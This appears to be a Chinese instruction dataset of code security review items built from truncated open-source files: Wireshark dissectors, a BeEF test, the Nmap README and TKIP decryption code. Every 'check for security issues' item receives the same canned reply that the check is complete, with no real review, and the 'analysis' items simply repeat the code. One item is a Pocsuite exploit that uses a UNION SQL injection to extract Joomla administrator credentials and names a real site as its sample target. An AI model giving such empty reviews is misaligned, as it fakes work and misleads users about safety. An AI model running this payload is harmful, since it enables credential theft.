Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-infiniband_sdp.c
 * Routines for Infiniband Sockets Direct Protocol dissection
 * Copyright 2010, Mellanox Technologies Ltd.
 * Code by Amir Vadai and Slava Koyfman.
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <stdlib.h>

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/conversation.h>

#include "packet-infiniband.h"

void proto_register_ib_sdp(void);
void proto_reg_handoff_ib_sdp(void);

static dissector_handle_t ib_sdp_handle;

/* If the service-id is non-zero after being ANDed with the following mask then
   this is SDP traffic */
#define SERVICE_ID_MASK 0x0000000000010000

static int proto_infiniband = -1;   /* we'll need the Infiniband protocol index for conversation data */

/* Initialize the protocol and registered fields... */
static int proto_ib_sdp = -1;

/* IB SDP BSDH Header */
static int hf_ib_sdp_bsdh = -1;
static int hf_ib_sdp_mid = -1;
static int hf_ib_sdp_flags = -1;
static int hf_ib_sdp_flags_oobpres  = -1;
static int hf_ib_sdp_flags_oob_pend = -1;
static int hf_ib_sdp_flags_reqpipe  = -1;

static int hf_ib_sdp_len = -1;
static int hf_ib_sdp_bufs = -1;
static int hf_ib_sdp_mseq = -1;
static int hf_ib_sdp_mseqack = -1;

/* IB SDP Hello Header */
static int hf_ib_sdp_hh = -1;
static int hf_ib_sdp_majv = -1;
static int hf_ib_sdp_minv = -1;
static int hf_ib_sdp_ipv = -1;
static int hf_ib_sdp_cap = -1;
static int hf_ib_sdp_cap_invalidate = -1;
static int hf_ib_sdp_cap_extmaxadverts = -1;
static int hf_ib_sdp_maxadverts = -1;
static int hf_ib_sdp_desremrcvsz = -1;
static int hf_ib_sdp_localrcvsz = -1;
static int hf_ib_sdp_localport = -1;
static int hf_ib_sdp_src_ip = -1;
static int hf_ib_sdp_dst_ip = -1;
static int hf_ib_sdp_extmaxadverts = -1;
static int hf_ib_sdp_hah = -1;
static int hf_ib_sdp_rwch = -1;
static int hf_ib_sdp_rrch = -1;
static int hf_ib_sdp_mch = -1;
static in...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

RSpec.describe 'BeEF BrowserDetails' do

  before(:all) do
    @session = (0...10).map { ('a'..'z').to_a[rand(26)] }.join
  end

  it 'set nil value' do
    BeEF::Core::Models::BrowserDetails.set(@session, 'key_with_nil_value', nil)
    expect(BeEF::Core::Models::BrowserDetails.get(@session, 'key_with_nil_value')).to be_empty
  end

  it 'set value' do
    key_name = (0...10).map { ('a'..'z').to_a[rand(26)] }.join
    key_value = (0...10).map { ('a'..'z').to_a[rand(26)] }.join
    BeEF::Core::Models::BrowserDetails.set(@session, key_name, key_value)
    expect(BeEF::Core::Models::BrowserDetails.get(@session, key_name)).to eql(key_value)
  end

  it 'update value' do
    key_name = (0...10).map { ('a'..'z').to_a[rand(26)] }.join

    original_key_value = (0...10).map { ('a'..'z').to_a[rand(26)] }.join
    BeEF::Core::Models::BrowserDetails.set(@session, key_name, original_key_value).to_s
    expect(BeEF::Core::Models::BrowserDetails.get(@session, key_name)).to eql(original_key_value)

    new_key_value = (0...10).map { ('a'..'z').to_a[rand(26)] }.join
    BeEF::Core::Models::BrowserDetails.set(@session, key_name, new_key_value).to_s
    expect(BeEF::Core::Models::BrowserDetails.get(@session, key_name)).to_not eql(original_key_value)
    expect(BeEF::Core::Models::BrowserDetails.get(@session, key_name)).to eql(new_key_value)
  end

end


Instruction: 检查这段代码是否存在安全问题

Input:
RSpec.describe 'BeEF BrowserDetails' do

  before(:all) do
    @session = (0...10).map { ('a'..'z').to_a[rand(26)] }.join
  end

  it 'set nil value' do
    BeEF::Core::Models::BrowserDetails.set(@session, 'key_with_nil_value', nil)
    expect(BeEF::Core::Models::BrowserDetails.get(@session, 'key_with_nil_value')).to be_empty
  end

  it 'set value' do
    key_name = (0...10).map { ('a'..'z').to_a[rand(26)] }.join
    key_value = (0...10).map { ('a'..'z').to_a[rand(26)] }.join
    BeEF::Core::Models::BrowserDetails.set(@session, key_name, key_value)
    expect(BeEF::Core::Models::BrowserDetails.get(@session, key_name)).to eql(key_value)
  end

  it 'update value' do
    key_name = (0...10).map { ('a'..'z').to_a[rand(26)] }.join

    original_key_value = (0...10).map { ('a'..'z').to_a[rand(26)] }.join
    BeEF::Core::Models::BrowserDetails.set(@session, key_name, original_key_value).to_s
    expect(BeEF::Core::Models::BrowserDetails.get(@session, key_name)).to eql(original_key_value)

    new_key_value = (0...10).map { ('a'..'z').to_a[rand(26)] }.join
    BeEF::Core::Models::BrowserDetails.set(@session, key_name, new_key_value).to_s
    expect(BeEF::Core::Models::BrowserDetails.get(@session, key_name)).to_not eql(original_key_value)
    expect(BeEF::Core::Models::BrowserDetails.get(@session, key_name)).to eql(new_key_value)
  end

end

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#!/usr/bin/env python
# coding: utf-8
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
import re

class TestPOC(POCBase):
    vulID = '84553'  # ssvid
    version = '1.0'
    author = ['kikay']
    vulDate = '2011-02-16'
    createDate = '2016-01-25'
    updateDate = '2016-01-25'
    references = ['http://www.seebug.org/vuldb/ssvid-84553']
    name = 'Joomla! and Mambo com_lexikon Component - 'id' Parameter SQL Injection Vulnerability'
    appPowerLink = 'http://www.joomla.org'
    appName = 'Joomla! and Mambo com_lexikon Component'
    appVersion = 'N/A'
    vulType = 'SQL Injection'
    desc = '''
        Joomla! and Mambo com_lexikon组件的参数 id 过滤不严，导致出现SQL注入漏洞。

        该漏洞的POC格式如下：
        http://www.example.com/index.php?option=com_lexikon&id=-1/**/union/**/select
        /**/concat(username,0x3a,password),concat(username,0x3a,password),concat
        (username,0x3a,password) from mos_users--+
    '''
    samples = ['http://www.deutsche-handwerker.info']

    def _attack(self):
        #利用SQL注入读取joomla管理员信息
        result = {}
        #访问的地址
        exploit='/index.php?option=com_lexikon&id='
        #利用Union方式读取信息
        payload=("-1 union select 1,concat(0x247e7e7e24,username"
            ",0x2a2a2a,password,0x2a2a2a,email,0x247e7e7e24),3 from mos_users limit 0,1--+")
        #构造漏洞利用连接
        vulurl=self.url+exploit+payload
        #自定义的HTTP头
        httphead = {
          'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',
          'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
          'Connection':'keep-alive'
        }
        #提取信息的正则表达式
        parttern='\$~~~\$(.*)\*\*\*(.*)\*\*\*(.*)\$~~~\$'
        #发送请求
        resp=req.get(url=vulurl,headers=httphead,timeout=50)
        #检查是否含有特征字符串
        if '$~~~$' in resp.content:
            #提取信息
            match=re.search(parttern,resp.content,re.M|re.I)
            if match:
      ...


Instruction: 检查这段代码是否存在安全问题

Input:
#!/usr/bin/env python
# coding: utf-8
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
import re

class TestPOC(POCBase):
    vulID = '84553'  # ssvid
    version = '1.0'
    author = ['kikay']
    vulDate = '2011-02-16'
    createDate = '2016-01-25'
    updateDate = '2016-01-25'
    references = ['http://www.seebug.org/vuldb/ssvid-84553']
    name = 'Joomla! and Mambo com_lexikon Component - 'id' Parameter SQL Injection Vulnerability'
    appPowerLink = 'http://www.joomla.org'
    appName = 'Joomla! and Mambo com_lexikon Component'
    appVersion = 'N/A'
    vulType = 'SQL Injection'
    desc = '''
        Joomla! and Mambo com_lexikon组件的参数 id 过滤不严，导致出现SQL注入漏洞。

        该漏洞的POC格式如下：
        http://www.example.com/index.php?option=com_lexikon&id=-1/**/union/**/select
        /**/concat(username,0x3a,password),concat(username,0x3a,password),concat
        (username,0x3a,password) from mos_users--+
    '''
    samples = ['http://www.deutsche-handwerker.info']

    def _attack(self):
        #利用SQL注入读取joomla管理员信息
        result = {}
        #访问的地址
        exploit='/index.php?option=com_lexikon&id='
        #利用Union方式读取信息
        payload=("-1 union select 1,concat(0x247e7e7e24,username"
            ",0x2a2a2a,password,0x2a2a2a,email,0x247e7e7e24),3 from mos_users limit 0,1--+")
        #构造漏洞利用连接
        vulurl=self.url+exploit+payload
        #自定义的HTTP头
        httphead = {
          'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',
          'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
          'Connection':'keep-alive'
        }
        #提取信息的正则表达式
        parttern='\$~~~\$(.*)\*\*\*(.*)\*\*\*(.*)\$~~~\$'
        #发送请求
        resp=req.get(url=vulurl,headers=httphead,timeout=50)
        #检查是否含有特征字符串
        if '$~~~$' in resp.content:
            #提取信息
            match=re.search(parttern,resp.content,re.M|re.I)
            if match:
      ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#!/usr/bin/env python3
#
# Parses the CSV version of the IANA Service Name and Transport Protocol Port Number Registry
# and generates a services(5) file.
#
# Wireshark - Network traffic analyzer
# By Gerald Combs <gerald@wireshark.org>
# Copyright 2013 Gerald Combs
#
# SPDX-License-Identifier: GPL-2.0-or-later

iana_svc_url = 'https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.csv'

__doc__ = '''\
Usage: make-services.py [url]

url defaults to
    %s
''' % (iana_svc_url)

import sys
import getopt
import csv
import re
import collections
import urllib.request, urllib.error, urllib.parse
import codecs

services_file = 'epan/services-data.c'

exclude_services = [
    '^spr-itunes',
    '^spl-itunes',
    '^shilp',
    ]

min_source_lines = 14000 # Size was ~ 14800 on 2017-07-20

def parse_port(port_str):

    p = port_str.split('-')
    try:
        if len(p) == 1:
            return tuple([int(p[0])])
        if len(p) == 2:
            return tuple([int(p[0]), int(p[1])])
    except ValueError:
        pass
    return ()

def port_to_str(port):
    if len(port) == 2:
        return str(port[0]) + '-' + str(port[1])
    return str(port[0])

def parse_rows(svc_fd):
    port_reader = csv.reader(svc_fd)
    count = 0

    # Header positions as of 2013-08-06
    headers = next(port_reader)

    try:
        sn_pos = headers.index('Service Name')
    except Exception:
        sn_pos = 0
    try:
        pn_pos = headers.index('Port Number')
    except Exception:
        pn_pos = 1
    try:
        tp_pos = headers.index('Transport Protocol')
    except Exception:
        tp_pos = 2
    try:
        desc_pos = headers.index('Description')
    except Exception:
        desc_pos = 3

    services_map = {}

    for row in port_reader:
        service = row[sn_pos]
        port = parse_port(row[pn_pos])
        proto = row[tp_pos]
        description = row[desc_pos]
        count += 1

        if len(service) < 1 or not port or len(proto) < 1...


Instruction: 检查这段代码是否存在安全问题

Input:
#!/usr/bin/env python3
#
# Parses the CSV version of the IANA Service Name and Transport Protocol Port Number Registry
# and generates a services(5) file.
#
# Wireshark - Network traffic analyzer
# By Gerald Combs <gerald@wireshark.org>
# Copyright 2013 Gerald Combs
#
# SPDX-License-Identifier: GPL-2.0-or-later

iana_svc_url = 'https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.csv'

__doc__ = '''\
Usage: make-services.py [url]

url defaults to
    %s
''' % (iana_svc_url)

import sys
import getopt
import csv
import re
import collections
import urllib.request, urllib.error, urllib.parse
import codecs

services_file = 'epan/services-data.c'

exclude_services = [
    '^spr-itunes',
    '^spl-itunes',
    '^shilp',
    ]

min_source_lines = 14000 # Size was ~ 14800 on 2017-07-20

def parse_port(port_str):

    p = port_str.split('-')
    try:
        if len(p) == 1:
            return tuple([int(p[0])])
        if len(p) == 2:
            return tuple([int(p[0]), int(p[1])])
    except ValueError:
        pass
    return ()

def port_to_str(port):
    if len(port) == 2:
        return str(port[0]) + '-' + str(port[1])
    return str(port[0])

def parse_rows(svc_fd):
    port_reader = csv.reader(svc_fd)
    count = 0

    # Header positions as of 2013-08-06
    headers = next(port_reader)

    try:
        sn_pos = headers.index('Service Name')
    except Exception:
        sn_pos = 0
    try:
        pn_pos = headers.index('Port Number')
    except Exception:
        pn_pos = 1
    try:
        tp_pos = headers.index('Transport Protocol')
    except Exception:
        tp_pos = 2
    try:
        desc_pos = headers.index('Description')
    except Exception:
        desc_pos = 3

    services_map = {}

    for row in port_reader:
        service = row[sn_pos]
        port = parse_port(row[pn_pos])
        proto = row[tp_pos]
        description = row[desc_pos]
        count += 1

        if len(service) < 1 or not port or len(proto) < 1...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

Nmap [![Build Status](https://travis-ci.org/nmap/nmap.svg?branch=master)](https://travis-ci.org/nmap/nmap) [![Language grade: C/C++](https://img.shields.io/lgtm/grade/cpp/g/nmap/nmap.svg?logo=lgtm&logoWidth=18)](https://lgtm.com/projects/g/nmap/nmap/context:cpp) [![Language grade: Python](https://img.shields.io/lgtm/grade/python/g/nmap/nmap.svg?logo=lgtm&logoWidth=18)](https://lgtm.com/projects/g/nmap/nmap/context:python) [![Total alerts](https://img.shields.io/lgtm/alerts/g/nmap/nmap.svg?logo=lgtm&logoWidth=18)](https://lgtm.com/projects/g/nmap/nmap/alerts/)
====
Nmap is released under a custom license, which is based on (but not compatible
with) GPLv2. The Nmap license allows free usage by end users, and we also offer
a commercial license for companies that wish to redistribute Nmap technology
with their products. See [Nmap Copyright and Licensing](https://nmap.org/book/man-legal.html)
for full details.
The latest version of this software as well as binary installers for Windows,
macOS, and Linux (RPM) are available from
[Nmap.org](https://nmap.org/download.html)
Full documentation is also available
[on the Nmap.org website](https://nmap.org/docs.html).
Questions and suggestions may be sent to
[the Nmap-dev mailing list](https://nmap.org/mailman/listinfo/dev).
Installing
----------
Ideally, you should be able to just type:
    ./configure
    make
    make install
For far more in-depth compilation, installation, and removal notes, read the
[Nmap Install Guide](https://nmap.org/book/install.html) on Nmap.org.
Using Nmap
----------
Nmap has a lot of features, but getting started is as easy as running `nmap
scanme.nmap.org`. Running `nmap` without any parameters will give a helpful
list of the most common options, which are discussed in depth in [the man
page](https://nmap.org/book/man.html). Users who prefer a graphical interface
can use the included [Zenmap front-end](https://nmap.org/zenmap/).
Contributing
------------
Information about filing bug reports and cont...


Instruction: 检查这段代码是否存在安全问题

Input:
Nmap [![Build Status](https://travis-ci.org/nmap/nmap.svg?branch=master)](https://travis-ci.org/nmap/nmap) [![Language grade: C/C++](https://img.shields.io/lgtm/grade/cpp/g/nmap/nmap.svg?logo=lgtm&logoWidth=18)](https://lgtm.com/projects/g/nmap/nmap/context:cpp) [![Language grade: Python](https://img.shields.io/lgtm/grade/python/g/nmap/nmap.svg?logo=lgtm&logoWidth=18)](https://lgtm.com/projects/g/nmap/nmap/context:python) [![Total alerts](https://img.shields.io/lgtm/alerts/g/nmap/nmap.svg?logo=lgtm&logoWidth=18)](https://lgtm.com/projects/g/nmap/nmap/alerts/)
====
Nmap is released under a custom license, which is based on (but not compatible
with) GPLv2. The Nmap license allows free usage by end users, and we also offer
a commercial license for companies that wish to redistribute Nmap technology
with their products. See [Nmap Copyright and Licensing](https://nmap.org/book/man-legal.html)
for full details.
The latest version of this software as well as binary installers for Windows,
macOS, and Linux (RPM) are available from
[Nmap.org](https://nmap.org/download.html)
Full documentation is also available
[on the Nmap.org website](https://nmap.org/docs.html).
Questions and suggestions may be sent to
[the Nmap-dev mailing list](https://nmap.org/mailman/listinfo/dev).
Installing
----------
Ideally, you should be able to just type:
    ./configure
    make
    make install
For far more in-depth compilation, installation, and removal notes, read the
[Nmap Install Guide](https://nmap.org/book/install.html) on Nmap.org.
Using Nmap
----------
Nmap has a lot of features, but getting started is as easy as running `nmap
scanme.nmap.org`. Running `nmap` without any parameters will give a helpful
list of the most common options, which are discussed in depth in [the man
page](https://nmap.org/book/man.html). Users who prefer a graphical interface
can use the included [Zenmap front-end](https://nmap.org/zenmap/).
Contributing
------------
Information about filing bug reports and cont...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-nb_rtpmux.c
 * Routines for 3GPP RTP Multiplex dissection, 3GPP TS 29.414
 * Copyright 2009, ip.access ltd <amp@ipaccess.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>

void proto_register_nb_rtpmux(void);
void proto_reg_handoff_nb_rtpmux(void);

/* Initialize the protocol and registered fields */
static int proto_nb_rtpmux = -1;
static int hf_nb_rtpmux_compressed = -1;
static int hf_nb_rtpmux_dstport    = -1;
static int hf_nb_rtpmux_length     = -1;
static int hf_nb_r_bit             = -1;
static int hf_nb_rtpmux_srcport    = -1;
static int hf_nb_rtpmux_data       = -1;
static int hf_nb_rtpmux_cmp_rtp_sequence_no   = -1;
static int hf_nb_rtpmux_cmp_rtp_timestamp     = -1;
static int hf_nb_rtpmux_cmp_rtp_data          = -1;

/* Initialize the subtree pointers */
static gint ett_nb_rtpmux = -1;
static gint ett_nb_rtpmux_cmp_rtp_hdr = -1;

static dissector_handle_t nb_rtpmux_handle;
static dissector_handle_t rtpdissector;

static int
dissect_nb_rtpmux(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data _U_)
{
    /* Set up structures needed to add the protocol subtree and manage it */
    proto_item *ti;
    proto_tree *nb_rtpmux_tree, *nb_rtpmux_cmp_rtp_tree;
    unsigned int offset = 0;
    gboolean first_rtp_payload_seen = FALSE;

    /*  First, if at all possible, do some heuristics to check if the packet cannot
     *  possibly belong to your protocol.  This is especially important for
     *  protocols directly on top of TCP or UDP where port collisions are
     *  common place (e.g., even though your protocol uses a well known port,
     *  someone else may set up, for example, a web server on that port which,
     *  if someone analyzed that web server's traffic in Wireshark, would result
     *  in Wireshark handing an HTTP packet to your dissector).  For example:
   ...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-nb_rtpmux.c
 * Routines for 3GPP RTP Multiplex dissection, 3GPP TS 29.414
 * Copyright 2009, ip.access ltd <amp@ipaccess.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>

void proto_register_nb_rtpmux(void);
void proto_reg_handoff_nb_rtpmux(void);

/* Initialize the protocol and registered fields */
static int proto_nb_rtpmux = -1;
static int hf_nb_rtpmux_compressed = -1;
static int hf_nb_rtpmux_dstport    = -1;
static int hf_nb_rtpmux_length     = -1;
static int hf_nb_r_bit             = -1;
static int hf_nb_rtpmux_srcport    = -1;
static int hf_nb_rtpmux_data       = -1;
static int hf_nb_rtpmux_cmp_rtp_sequence_no   = -1;
static int hf_nb_rtpmux_cmp_rtp_timestamp     = -1;
static int hf_nb_rtpmux_cmp_rtp_data          = -1;

/* Initialize the subtree pointers */
static gint ett_nb_rtpmux = -1;
static gint ett_nb_rtpmux_cmp_rtp_hdr = -1;

static dissector_handle_t nb_rtpmux_handle;
static dissector_handle_t rtpdissector;

static int
dissect_nb_rtpmux(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data _U_)
{
    /* Set up structures needed to add the protocol subtree and manage it */
    proto_item *ti;
    proto_tree *nb_rtpmux_tree, *nb_rtpmux_cmp_rtp_tree;
    unsigned int offset = 0;
    gboolean first_rtp_payload_seen = FALSE;

    /*  First, if at all possible, do some heuristics to check if the packet cannot
     *  possibly belong to your protocol.  This is especially important for
     *  protocols directly on top of TCP or UDP where port collisions are
     *  common place (e.g., even though your protocol uses a well known port,
     *  someone else may set up, for example, a web server on that port which,
     *  if someone analyzed that web server's traffic in Wireshark, would result
     *  in Wireshark handing an HTTP packet to your dissector).  For example:
   ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/*
 * Copyright (c) 2002-2005 Sam Leffler, Errno Consulting
 * Copyright (c) 2006 CACE Technologies, Davis (California)
 * All rights reserved.
 *
 * SPDX-License-Identifier: (BSD-3-Clause OR GPL-2.0-only)
 */

/******************************************************************************/
/*	File includes																					*/
/*																										*/
#include <wsutil/pint.h>
#include <wsutil/crc32.h>
#include "dot11decrypt_system.h"
#include "dot11decrypt_int.h"

#include "dot11decrypt_debug.h"
/*																										*/
/******************************************************************************/

/******************************************************************************/
/*	Internal definitions																			*/
/*																										*/
#define PHASE1_LOOP_COUNT	8

#define DOT11DECRYPT_TTAK_LEN	6
/*																										*/
/******************************************************************************/

/******************************************************************************/
/*	Internal function prototypes declarations												*/
/*																										*/
static void Dot11DecryptTkipMixingPhase1(
	uint16_t *TTAK,
	const uint8_t *TK,
	const uint8_t *TA,
	uint32_t TSC)
	;

static void Dot11DecryptTkipMixingPhase2(
	uint8_t *wep_seed,
	const uint8_t *TK,
	uint16_t *PPK,
	uint16_t TSC16)
	;

/*																										*/
/******************************************************************************/

/******************************************************************************/
/*	Global variables																				*/
/*																										*/
/* Note: copied from FreeBSD source code, RELENG 6,									*/
/*		sys/net80211/ieee80211_crypto_tkip.c, 471											*/
static const uint16_t Sbox[256] = {
	0xC6A5, 0xF884, 0xEE99, 0xF68D, 0xFF0D, 0xD6BD, 0xDEB1, 0x9154,
	0x6050, 0x0203, 0xCEA9, 0x567D, 0xE719, 0xB562, 0x4DE6, 0xEC9A,
	0x8F45, 0x1F9D, 0x8940, 0xFA87, 0xEF15, 0xB2EB, 0x8EC9, 0xFB0B,
	0x41EC, 0xB367, 0...


Instruction: 检查这段代码是否存在安全问题

Input:
/*
 * Copyright (c) 2002-2005 Sam Leffler, Errno Consulting
 * Copyright (c) 2006 CACE Technologies, Davis (California)
 * All rights reserved.
 *
 * SPDX-License-Identifier: (BSD-3-Clause OR GPL-2.0-only)
 */

/******************************************************************************/
/*	File includes																					*/
/*																										*/
#include <wsutil/pint.h>
#include <wsutil/crc32.h>
#include "dot11decrypt_system.h"
#include "dot11decrypt_int.h"

#include "dot11decrypt_debug.h"
/*																										*/
/******************************************************************************/

/******************************************************************************/
/*	Internal definitions																			*/
/*																										*/
#define PHASE1_LOOP_COUNT	8

#define DOT11DECRYPT_TTAK_LEN	6
/*																										*/
/******************************************************************************/

/******************************************************************************/
/*	Internal function prototypes declarations												*/
/*																										*/
static void Dot11DecryptTkipMixingPhase1(
	uint16_t *TTAK,
	const uint8_t *TK,
	const uint8_t *TA,
	uint32_t TSC)
	;

static void Dot11DecryptTkipMixingPhase2(
	uint8_t *wep_seed,
	const uint8_t *TK,
	uint16_t *PPK,
	uint16_t TSC16)
	;

/*																										*/
/******************************************************************************/

/******************************************************************************/
/*	Global variables																				*/
/*																										*/
/* Note: copied from FreeBSD source code, RELENG 6,									*/
/*		sys/net80211/ieee80211_crypto_tkip.c, 471											*/
static const uint16_t Sbox[256] = {
	0xC6A5, 0xF884, 0xEE99, 0xF68D, 0xFF0D, 0xD6BD, 0xDEB1, 0x9154,
	0x6050, 0x0203, 0xCEA9, 0x567D, 0xE719, 0xB562, 0x4DE6, 0xEC9A,
	0x8F45, 0x1F9D, 0x8940, 0xFA87, 0xEF15, 0xB2EB, 0x8EC9, 0xFB0B,
	0x41EC, 0xB367, 0...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-hci_h1.c
 * Routines for the Bluetooth HCI H1 dissection
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <wiretap/wtap.h>

#include "packet-bluetooth.h"

static int proto_hci_h1 = -1;

static int hf_hci_h1_direction = -1;

static gint ett_hci_h1 = -1;

static dissector_table_t hci_h1_table;

static dissector_handle_t hci_h1_handle;

static const value_string hci_h1_type_vals[] = {
    {BTHCI_CHANNEL_COMMAND, "HCI Command"},
    {BTHCI_CHANNEL_ACL,     "ACL Data"},
    {BTHCI_CHANNEL_SCO,     "SCO Data"},
    {BTHCI_CHANNEL_EVENT,   "HCI Event"},
    {BTHCI_CHANNEL_ISO,     "ISO Data"},
    {0, NULL }
};
static const value_string hci_h1_direction_vals[] = {
    {-1, "Unknown"},
    {0,    "Sent"},
    {1,    "Rcvd"},
    {0, NULL}
};

void proto_register_hci_h1(void);
void proto_reg_handoff_hci_h1(void);

static gint
dissect_hci_h1(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data)
{
    guint8             type;
    tvbuff_t          *next_tvb;
    proto_item        *ti = NULL;
    proto_tree        *hci_h1_tree = NULL;
    bluetooth_data_t  *bluetooth_data;

    bluetooth_data = (bluetooth_data_t *) data;

    col_set_str(pinfo->cinfo, COL_PROTOCOL, "HCI");

    col_clear(pinfo->cinfo, COL_INFO);

    DISSECTOR_ASSERT(bluetooth_data->previous_protocol_data_type == BT_PD_BTHCI);
    type = bluetooth_data->previous_protocol_data.bthci->channel;

    if (tree) {
        ti = proto_tree_add_item(tree, proto_hci_h1, tvb, 0, 0, ENC_NA);
        hci_h1_tree = proto_item_add_subtree(ti, ett_hci_h1);

        if(pinfo->p2p_dir == P2P_DIR_SENT ||
           pinfo->p2p_dir == P2P_DIR_RECV)
            proto_item_append_text(hci_h1_tree, " %s %s",
                           val_to_str(pinfo->p2p_dir,
                              hci_h1_direction_vals, "Unknown: %d"),
             ...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-hci_h1.c
 * Routines for the Bluetooth HCI H1 dissection
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <wiretap/wtap.h>

#include "packet-bluetooth.h"

static int proto_hci_h1 = -1;

static int hf_hci_h1_direction = -1;

static gint ett_hci_h1 = -1;

static dissector_table_t hci_h1_table;

static dissector_handle_t hci_h1_handle;

static const value_string hci_h1_type_vals[] = {
    {BTHCI_CHANNEL_COMMAND, "HCI Command"},
    {BTHCI_CHANNEL_ACL,     "ACL Data"},
    {BTHCI_CHANNEL_SCO,     "SCO Data"},
    {BTHCI_CHANNEL_EVENT,   "HCI Event"},
    {BTHCI_CHANNEL_ISO,     "ISO Data"},
    {0, NULL }
};
static const value_string hci_h1_direction_vals[] = {
    {-1, "Unknown"},
    {0,    "Sent"},
    {1,    "Rcvd"},
    {0, NULL}
};

void proto_register_hci_h1(void);
void proto_reg_handoff_hci_h1(void);

static gint
dissect_hci_h1(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data)
{
    guint8             type;
    tvbuff_t          *next_tvb;
    proto_item        *ti = NULL;
    proto_tree        *hci_h1_tree = NULL;
    bluetooth_data_t  *bluetooth_data;

    bluetooth_data = (bluetooth_data_t *) data;

    col_set_str(pinfo->cinfo, COL_PROTOCOL, "HCI");

    col_clear(pinfo->cinfo, COL_INFO);

    DISSECTOR_ASSERT(bluetooth_data->previous_protocol_data_type == BT_PD_BTHCI);
    type = bluetooth_data->previous_protocol_data.bthci->channel;

    if (tree) {
        ti = proto_tree_add_item(tree, proto_hci_h1, tvb, 0, 0, ENC_NA);
        hci_h1_tree = proto_item_add_subtree(ti, ett_hci_h1);

        if(pinfo->p2p_dir == P2P_DIR_SENT ||
           pinfo->p2p_dir == P2P_DIR_RECV)
            proto_item_append_text(hci_h1_tree, " %s %s",
                           val_to_str(pinfo->p2p_dir,
                              hci_h1_direction_vals, "Unknown: %d"),
             ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-rua-template.c
 * Routines for UMTS Home Node B RANAP User Adaptation (RUA) packet dissection
 * Copyright 2010 Neil Piercy, ip.access Limited <Neil.Piercy@ipaccess.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 *
 * Ref: 3GPP TS 25.468 version 8.1.0 Release 8
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/sctpppids.h>
#include <epan/asn1.h>
#include <epan/prefs.h>

#include "packet-per.h"

#ifdef _MSC_VER
/* disable: "warning C4146: unary minus operator applied to unsigned type, result still unsigned" */
#pragma warning(disable:4146)
#endif

#define PNAME  "UTRAN Iuh interface RUA signalling"
#define PSNAME "RUA"
#define PFNAME "rua"
/* Dissector to use SCTP PPID 19 or a configured SCTP port. IANA assigned port = 29169*/
#define SCTP_PORT_RUA              29169

void proto_register_rua(void);

#include "packet-rua-val.h"

/* Initialize the protocol and registered fields */
static int proto_rua = -1;

#include "packet-rua-hf.c"

/* Initialize the subtree pointers */
static int ett_rua = -1;

 /* initialise sub-dissector handles */
 static dissector_handle_t ranap_handle = NULL;

#include "packet-rua-ett.c"

/* Global variables */
static guint32 ProcedureCode;
static guint32 ProtocolIE_ID;

/* Dissector tables */
static dissector_table_t rua_ies_dissector_table;
static dissector_table_t rua_extension_dissector_table;
static dissector_table_t rua_proc_imsg_dissector_table;
static dissector_table_t rua_proc_sout_dissector_table;
static dissector_table_t rua_proc_uout_dissector_table;

static dissector_handle_t rua_handle;

static int dissect_ProtocolIEFieldValue(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *);
static int dissect_ProtocolExtensionFieldExtensionValue(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *);
static int dissect_InitiatingMessageValue(tvbuff_t *tvb, packet_info *pinfo, proto...


